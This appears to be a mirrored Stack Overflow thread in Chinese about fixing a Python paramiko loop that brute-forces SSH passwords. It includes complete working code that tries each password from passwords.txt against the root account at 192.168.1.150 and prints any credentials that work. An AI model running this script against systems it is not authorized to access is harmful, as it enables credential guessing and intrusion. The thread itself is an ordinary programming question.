【问题标题】:Python loop ssh bruteforcePython循环ssh蛮力
【发布时间】:2017-09-16 20:06:20
【问题描述】:

我的想法是即使找到密码也让 python 尝试密码列表,直到列表结束。 我的代码可以工作,但它会在继续休息之前打印 5 次成功消息

注意:在这种情况下,循环尝试与 passwords.txt 中存在的单词一样多 = 5

with open("passwords.txt", "r") as p:
_passwords = [line.strip() for line in p]
_retries = range(len(_passwords))
for _pass in _passwords:
    try:
        for x in _retries:
            ssh.connect(_host, username=_user, password=_pass)
            print ("Success! user: "+_user+" and pass: "+_pass)
            ssh.close()
    except (paramiko.ssh_exception.AuthenticationException) as e:
        print e
        time.sleep(1)

【问题讨论】:

    标签: python for-loop ssh


    【解决方案1】:

    你可以在 ssh.close() 之后添加 sys.exit() 之类的

    ssh.close()
    sys.exit()
    

    但不要忘记像导入 sys 包

    import sys
    

    文件开始...

    您也不必使用两个循环。可以一个循环完成,你可以优化你的代码。

    【讨论】:

    • 很好,但我还是想完成这个列表。目前我的输出类似于 Authentication failed Authentication failed Authentication failed Success!成功!成功!成功! Authentication failed Authentication failed 所以它确实完成了列表,但打印成功消息的次数与 for 循环一样多 5 次
    【解决方案2】:

    好的,我已经成功了,下面是完整的代码。

    请告知是否可以以更优雅但对新手来说可以理解的方式实现这一点

    import sys
    import time
    import base64
    import paramiko
    import getpass
    
    
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    _host = "192.168.1.150"
    _user = "root"
    _connection = None
    with open("passwords.txt", "r") as p:
        _passwords = [line.strip() for line in p]
        _retries = range(len(_passwords))
        for _pass in _passwords:
            try:
                for x in _retries:
                    ssh.connect(_host, username=_user, password=_pass, timeout=4)
                    _connection = True
                    ssh.close()
                if _connection:
                    print ("Success! user: "+_user+" and pass: "+_pass)
            except (paramiko.ssh_exception.AuthenticationException) as e:
                print e
                time.sleep(1)
    

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2012-07-14
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2015-03-31
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多